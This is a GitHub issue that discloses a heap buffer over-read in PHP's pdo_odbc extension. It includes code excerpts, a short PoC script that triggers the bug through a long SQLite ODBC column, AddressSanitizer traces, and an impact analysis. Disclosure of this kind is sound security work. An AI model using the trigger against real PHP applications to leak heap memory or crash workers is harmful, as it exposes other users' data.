Skip to content

Heap buffer over-read (heap memory disclosure) in ext/pdo_odbc when fetching a result column whose value is longer than its described display size (PDOStatement::fetch() and related fetch methods) #22667

Description

@cxxz16

Description

Summary

ext/pdo_odbc binds a fixed-size buffer for each "short" result column based on the display size the ODBC driver reports at describe time, but on fetch it trusts the driver-reported value length (fetched_len) unconditionally when building the PHP string. When the actual column value is longer than the bound buffer, the ODBC driver truncates the data into the buffer and reports the full, untruncated length in the indicator (the standard ODBC SQL_SUCCESS_WITH_INFO / SQLSTATE 01004 "string data, right truncated" contract). PHP then calls ZVAL_STRINGL_FAST() with that full length and reads past the end of the bound heap buffer.

The over-read bytes are returned to userland as the column's string value, so this is a heap memory disclosure (adjacent heap contents leak into the PHP value) that can also crash the process. It is reachable with an ordinary, non-malicious ODBC driver (verified with the standard SQLite3 ODBC driver) through a plain new PDO('odbc:...') connection and PDOStatement::fetch(), and requires no malicious local driver, FFI, callback, or object-lifecycle misuse — only that a fetched column value exceeds the driver-reported display size. The amount disclosed scales with the size of the value (a stored 1 MiB value over-reads ~1 MiB of heap).

This is the same class of bug as CVE-2024-8929 (mysqlnd heap over-read leaking heap memory through an attacker-influenced length), which was rated High. It is the PDO counterpart of the over-read in the classic ext/odbc extension.

Details

At describe time, odbc_stmt_describe() reads the column display size and, for columns it treats as "short" (colsize < 256), allocates colsize + 1 bytes and binds that buffer with SQLBindCol(), passing &S->cols[colno].fetched_len as the indicator pointer:

ext/pdo_odbc/odbc_stmt.c (around lines 614–630):

    colsize = displaysize;

    col->maxlen = S->cols[colno].datalen = colsize;
    col->name = zend_string_init(S->cols[colno].colname, colnamelen, 0);
    S->cols[colno].is_unicode = pdo_odbc_sqltype_is_unicode(S, S->cols[colno].coltype);

    /* tell ODBC to put it straight into our buffer, but only if it
     * isn't "long" data, and only if we haven't already bound a long
     * column. */
    if (colsize < 256 && !S->going_long) {
        S->cols[colno].data = emalloc(colsize+1);
        S->cols[colno].is_long = 0;

        rc = SQLBindCol(S->stmt, colno+1,
            S->cols[colno].is_unicode ? SQL_C_BINARY : SQL_C_CHAR,
            S->cols[colno].data,
            S->cols[colno].datalen+1, &S->cols[colno].fetched_len);
        ...

On fetch, odbc_stmt_get_col() reaches the in_data path for a short (bound) column and checks fetched_len only against the SQL_NULL_DATA sentinel and for being negative, then passes it straight to ZVAL_STRINGL_FAST() without verifying that it fits inside the colsize + 1 buffer:

ext/pdo_odbc/odbc_stmt.c (around lines 739–751):

in_data:
    /* check the indicator to ensure that the data is intact */
    if (C->fetched_len == SQL_NULL_DATA) {
        /* A NULL value */
        ZVAL_NULL(result);
        return 1;
    } else if (C->fetched_len >= 0) {
        /* it was stored perfectly */
        ZVAL_STRINGL_FAST(result, C->data, C->fetched_len);   // <-- reads fetched_len bytes from a (colsize+1) buffer
        ...

When the stored value is longer than colsize + 1, a conforming driver:

  1. copies only colsize + 1 bytes (truncated, NUL-terminated) into C->data, and
  2. sets C->fetched_len to the full length the value would have needed, returning SQL_SUCCESS_WITH_INFO.

PHP does not look at the return code or compare fetched_len against the bound capacity (the "check the indicator to ensure that the data is intact" comment only guards SQL_NULL_DATA / negative), so ZVAL_STRINGL_FAST(C->data, C->fetched_len) reads fetched_len - (colsize + 1) bytes past the end of the heap allocation. The over-read bytes become the PHP string value returned to the caller.

The "long" column path (is_long / going_long, taken when colsize >= 256) uses an SQLGetData() reassembly loop and is not affected; the bug is specifically in the short-bound path above, which is taken for any column whose driver-reported display size is < 256 but whose actual value is larger.

The same code path is present on the current master branch (verified 2026-04-13): the short-bound in_data path still does ZVAL_STRINGL_FAST(result, C->data, C->fetched_len) with no clamp against the bound capacity. The 2025 rewrite that fetches long columns in larger blocks (GH-10809) only changed the is_long path and did not add a bound check to the short-bound case.

PoC

Environment:

  • PHP 8.4.20 (CLI), built with --enable-debug and AddressSanitizer (CFLAGS="-fsanitize=address -g -O0"), PDO_ODBC enabled.
  • unixODBC 2.3.9.
  • The ordinary SQLite3 ODBC driver from Ubuntu 22.04 libsqliteodbc (/etc/odbcinst.ini):
[SQLite3]
Description=SQLite3 ODBC Driver
Driver=libsqlite3odbc.so
Setup=libsqlite3odbc.so

PoC script (pdoodbc001.php). The 257-byte expression result is bound into a 256-byte buffer, so the fetch over-reads by one byte; the same bug scales to megabytes with a stored value:

<?php
$pdo = new PDO('odbc:Driver=SQLite3;Database=/tmp/odbc_audit.sqlite');
$stmt = $pdo->query("SELECT printf('%.*c', 257, 'A') AS data");
$stmt->fetch(PDO::FETCH_ASSOC);

Run:

ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1 \
UBSAN_OPTIONS=halt_on_error=1:abort_on_error=1 \
php pdoodbc001.php

Full AddressSanitizer output:

=================================================================
==1135653==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5110000175c0 at pc 0x7f4ea7598397 bp 0x7ffd4c05aff0 sp 0x7ffd4c05a798
READ of size 257 at 0x5110000175c0 thread T0
    #0 0x7f4ea7598396 in __interceptor_memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827
    #1 0x5618febb1fca in zend_string_init /src/php/Zend/zend_string.h:200
    #2 0x5618febb20c1 in zend_string_init_fast /src/php/Zend/zend_string.h:208
    #3 0x5618febbc358 in odbc_stmt_get_col /src/php/ext/pdo_odbc/odbc_stmt.c:747
    #4 0x5618fec10dff in fetch_value /src/php/ext/pdo/pdo_stmt.c:502
    #5 0x5618fec1634b in do_fetch /src/php/ext/pdo/pdo_stmt.c:913
    #6 0x5618fec1aee8 in zim_PDOStatement_fetch /src/php/ext/pdo/pdo_stmt.c:1167
    #7 0x5618ffd660b7 in ZEND_DO_FCALL_SPEC_RETVAL_UNUSED_HANDLER /src/php/Zend/zend_vm_execute.h:1907
    #8 0x561900062dbb in execute_ex /src/php/Zend/zend_vm_execute.h:58941
    #9 0x56190008282d in zend_execute /src/php/Zend/zend_vm_execute.h:64328
    #10 0x56190031ea0d in zend_execute_script /src/php/Zend/zend.c:1934
    #11 0x5618ff7b88ab in php_execute_script_ex /src/php/main/main.c:2577
    #12 0x5618ff7b8e41 in php_execute_script /src/php/main/main.c:2617
    #13 0x561900326ff5 in do_cli /src/php/sapi/cli/php_cli.c:935
    #14 0x561900329b87 in main /src/php/sapi/cli/php_cli.c:1310
    #15 0x7f4ea0808d8f  (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f)
    #16 0x7f4ea0808e3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f)
    #17 0x5618fdc0f2e4 in _start (/src/php/sapi/cli/php+0x360f2e4)

0x5110000175c0 is located 0 bytes to the right of 256-byte region [0x5110000174c0,0x5110000175c0)
allocated by thread T0 here:
    #0 0x7f4ea7612887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x5618ffb2efa1 in __zend_malloc /src/php/Zend/zend_alloc.c:3294
    #2 0x5618ffb29abd in _emalloc /src/php/Zend/zend_alloc.c:2740
    #3 0x5618febba430 in odbc_stmt_describe /src/php/ext/pdo_odbc/odbc_stmt.c:624
    #4 0x5618fec09d08 in pdo_stmt_describe_columns /src/php/ext/pdo/pdo_stmt.c:135
    #5 0x5618febfd3be in zim_PDO_query /src/php/ext/pdo/pdo_dbh.c:1231
    #6 0x5618ffd67cf7 in ZEND_DO_FCALL_SPEC_RETVAL_USED_HANDLER /src/php/Zend/zend_vm_execute.h:2025
    #7 0x561900062e2e in execute_ex /src/php/Zend/zend_vm_execute.h:58946
    #8 0x56190008282d in zend_execute /src/php/Zend/zend_vm_execute.h:64328
    #9 0x56190031ea0d in zend_execute_script /src/php/Zend/zend.c:1934
    #10 0x5618ff7b88ab in php_execute_script_ex /src/php/main/main.c:2577
    #11 0x5618ff7b8e41 in php_execute_script /src/php/main/main.c:2617
    #12 0x561900326ff5 in do_cli /src/php/sapi/cli/php_cli.c:935
    #13 0x561900329b87 in main /src/php/sapi/cli/php_cli.c:1310
    #14 0x7f4ea0808d8f  (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f)

SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827 in __interceptor_memcpy
Aborted

The same crash reproduces, with a correspondingly larger READ of size N, when the oversized value is stored data rather than an expression — for example a 1 MiB BLOB/TEXT value stored in an ordinary table and then selected and fetched. In that case the over-read is ~1 MiB past the bound buffer.

Confirmation that the over-read bytes reach userland

Running the same fetch with ASAN_OPTIONS=halt_on_error=0 so ASAN reports the over-read but lets execution continue, then inspecting the returned value:

<?php
$pdo = new PDO('odbc:Driver=SQLite3;Database=/tmp/odbc_audit.sqlite');
$stmt = $pdo->query("SELECT printf('%.*c', 320, 'A') AS data"); // full value = 320 'A'
$row = $stmt->fetch(PDO::FETCH_ASSOC);
$s = $row['data'];
fwrite(STDERR, "returned strlen   : " . strlen($s) . "\n");
fwrite(STDERR, "count of 'A'      : " . substr_count($s, 'A') . "\n");
fwrite(STDERR, "non-value bytes   : " . (strlen($s) - substr_count($s, 'A')) . "\n");

Output (with ASAN_OPTIONS=detect_leaks=0:halt_on_error=0:abort_on_error=0):

==...==ERROR: AddressSanitizer: heap-buffer-overflow ...
READ of size 320 at 0x... thread T0
...
returned strlen   : 320
count of 'A'      : 255
non-value bytes   : 65

The bound buffer holds only the truncated value (255 A bytes), but the PHP string handed back to the application is fetched_len = 320 bytes long, so 65 bytes that are not part of the queried value are read from beyond the bound buffer and returned to userland as the column value. Any PHP code reading the column receives those out-of-bounds bytes.

Note on observed content: under this AddressSanitizer build the 65 out-of-bounds bytes read back as zero, because ASAN surrounds each allocation with a poisoned red-zone. In a normal (non-ASAN) build the Zend allocator packs allocations of the same size class together without red-zones, so the same over-read returns the contents of adjacent live heap allocations (e.g. data left by previous requests in a long-running FPM worker) — the same memory-disclosure behavior described for the analogous mysqlnd over-read in CVE-2024-8929.

Impact

This is an out-of-bounds heap read (CWE-125) that results in disclosure of adjacent heap memory (CWE-200) and can also crash the process (denial of service).

Who is impacted: any application that uses ext/pdo_odbc to fetch result rows and where a fetched column value can exceed the display size the driver reports for that column. The triggering value is data flowing through the result set, so the attacker only needs the ability to influence a stored/returned column value (for example a value written earlier through a low-privileged path, or a value returned by a malicious/compromised database endpoint) — no control over the application's PHP code, the ODBC driver, or call ordering is required. Because the over-read bytes are returned to userland as the string value, an attacker who can read that value back obtains a direct heap memory leak whose size scales with the supplied value length; the same condition can crash a long-running worker, affecting availability.

PHP Version

php<=8.5.6

Operating System

ubuntu22.04

Metadata

Metadata

Assignees

Type

No type

Fields

No fields configured for issues without a type.

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions